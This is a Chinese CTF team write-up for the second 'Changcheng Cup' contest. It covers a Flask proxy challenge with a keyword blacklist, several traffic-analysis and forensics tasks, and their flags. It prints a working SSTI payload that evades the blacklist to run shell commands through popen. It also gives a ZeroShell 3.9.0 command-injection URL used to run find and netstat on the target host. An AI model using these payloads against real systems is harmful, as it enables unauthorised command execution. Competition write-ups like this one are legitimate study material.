首页 > 其他分享 >第二届“长城杯”铁三赛小组WP(解题量少警告)

第二届“长城杯”铁三赛小组WP(解题量少警告)

时间:2024-12-15 22:22:39浏览次数:4  
标签:socket 铁三赛 host flag proxy WP port 量少 target

三、解题过程

1、Web安全

Safe_Proxy

操作内容:

网页源代码为Python

from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data
                
            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                       b"Content-Type: text/html; charset=utf-8\r\n" \
                       b"\r\n" + response_body

            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()

def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    # 安全反代,防止针对响应头的攻击
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()

    print("Starting Flask app...")
    run_flask_app()

存在render_template_string()为Flask两个模版渲染函数之一,看到这个函数就知道可以可以执行xss和ssti漏洞,xss能得到的信息较少,优先考虑ssti漏洞,表达式用{{ }}包围,语句用{% %}包围
其中存在过滤,__用*2绕过,其他的import和popen拼接绕过即可,post传上去之后还要访问一下app.py,得到注入语句:

code={%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i"mport'+'_'*2%}{%set ax='so'[::-1]%}{{cycler.next[gl][bu][im](ax)['p"open']('cat /flag>app.py').read()}}

url编码后返回ok
再刷新一下靶场就可以得到flag
image

flag值:

flag{c1ecdf19-9f3a-4dc8-9eca-826b88d73311}

2、威胁检测与网络流量分析

①Zeroshell_1

操作内容:

对文件进行明文分析,因为Zmxh是flag进行base64编码的结果,因此发现了base64编码

Referer: ZmxhZ3s2QzJFMzhEQS1EOEU0LThEODQtNEE0Ri1FMkFCRDA3QTFGM0F9

解base64获得flag

flag值:

flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

②Zeroshell_2

操作内容:

首先按照题目要求配置好虚拟机

image

然后是zeroshell,在网上查询可以得知zeroshell存在漏洞

漏洞复现 ZeroShell 3.9.0 远程命令执行漏洞 | CN-SEC 中文网

在ip地址后加/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A{命令}%0A%27就可以执行命令,因此执行

首先全局搜索flag文件

http://61.139.2.100/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509view&User=%s&x509type=%27%0Afind%20/%20-name%20flag%0A%27

image

然后cat flag

image

flag值:

flag{c6045425-6e6e-41d0-be09-95682a4f65c4

③Zeroshell_3

操作内容:

输入http://61.139.2.100/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509view&User=%s&x509type=%27%0Anetstat%0A%27执行命令

image

筛选出非本地ip地址有61.139.2.100202.115.89.103,经过测试确定ip为202.115.89.103

flag值:

flag{202.115.89.103}

④WinFT_1

操作内容:

根据电脑桌面上的工具1获得ip地址

image

image

flag值:

flag{miscsecure.com:192.168.116.130:443}

⑤WinFT_2

操作内容:

题目里有提示是启动项中,使用桌面上的工具7查找,在计划任务中发现flag

image-20241215193615458

CyberChef解码

image

flag值:

flag{AES_encryption_algorithm_is_an_excellent_encryption_algorithm}

⑥sc05_1

操作内容:

在日志里查找134.6.4.12,发现在tcp流里的最早

image

32位大写md5加密

image

flag值:

flag{01DF5BC2388E287D4CC8F11EA4D31929}

标签:socket,铁三赛,host,flag,proxy,WP,port,量少,target
From: https://www.cnblogs.com/ljnljn/p/18608648

相关文章

  • WPF cvs draw rectangle and line
    1//xaml2<Windowx:Class="WpfApp67.MainWindow"3xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"4xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"5xmlns:d=&quo......
  • uniapp+vue3+uViewPlus
    1、uniapp创建项目2、HuilderX菜单栏 工具->插件安装  -》前往插件市场安  下载安装到对应的项目导入的时候需要看广告耐心看完3、uview-plus在main.js中配置代码importuviewPlusfrom'@/uni_modules/uview-plus'app.use(uviewPlus) 4、在uni.scss中配置样......
  • PresentationFontCache.exe 是与 Windows Presentation Foundation (WPF) 相关的一个
    PresentationFontCache.exe是与WindowsPresentationFoundation(WPF)相关的一个系统进程,它用于缓存字体信息,以提高WPF应用程序的启动和运行速度。具体来说,它是WindowsPresentationFoundationFontCache3.0.0.0的一部分,通常会在运行WPF应用程序时启动。下面是对这个......
  • WPF TreeView实现固定表头
    1、在WPF中TreeView默认不支持固定表头的我们可以修改样式实现固定表头 新建一个TreeListView类然后继承TreeView代码如下publicclassTreeListView:TreeView,IDisposable{publicTreeListView(){//this.Loaded+=TreeListView_Loa......
  • PolarCTF-Pwn(困难)WP
    1、ret2libc前期准备:int__fastcallmain(intargc,constchar**argv,constchar**envp){chars[112];//[rsp+0h][rbp-70h]BYREFsetvbuf(stdin,0LL,2,0LL);setvbuf(stdout,0LL,2,0LL);setvbuf(stderr,0LL,2,0LL);gets(s);puts(s);retu......
  • [SWPU 2019]漂流记的马里奥
    [SWPU2019]漂流记的马里奥解压安装包,里面有一个exe程序,运行后得到一个1.txt的文件打开1.txt文件发现里面有给flag.txt在这里的话可以用windows中的命令来打开falg.txt文件notepad是一个用于打开Windows系统自带的记事本程序的命令输入notepad1.txt:flag.txt得到......
  • [SWPUCTF 2021 新生赛]crypto9
    [MoeCTF2021]Web安全入门指北—GET意思是GET传参,moe=flag就可以得到falg输入?moe=flagflag为:NSSCTF{ff26110b-8793-403c-990e-15c7f1820596}[SWPUCTF2021新生赛]crypto9#gpt写的代码fromitertoolsimportproductletter_list='ABCDEFGHIJKLMNOPQRSTUVWXYZ'......
  • [GHCTF 2024 新生赛]皆非取证wp
    附件下载下来是一个vmem是一个虚拟内存文件,保存有镜像的一些信息首先分析文件的镜像信息: vol.py-fchall.vmemimageinfo得到操作系统信息是Win7SP1x64接着扫描内存镜像中文件系统的条目:vol.py-fchall.vmem--profile=Win7SP1x64filescan|grepzip根据扫......
  • 安卓viewpager实现轮播图
    ViewPager是Android中用于实现水平或垂直滚动的视图容器,通常用于实现分页效果。在ViewPager中,用户可以滑动屏幕来切换不同的页面,它常用于实现类似于图片轮播、页面切换等功能。如何通过ViewPager组件实现轮播图效果呢?以下是我个人的方法。这是最终的效果(前面是自动轮播,有......
  • WPF 相关概念
    1.控件模板(ControlTemplate)定义控件的外观和行为。与DataTemplate的区别在于,ControlTemplate是用于改变控件(如Button、TextBox)的呈现,而DataTemplate是用于显示数据。示例:<ControlTemplateTargetType="Button"><BorderBackground="LightGray"CornerRadius="5&q......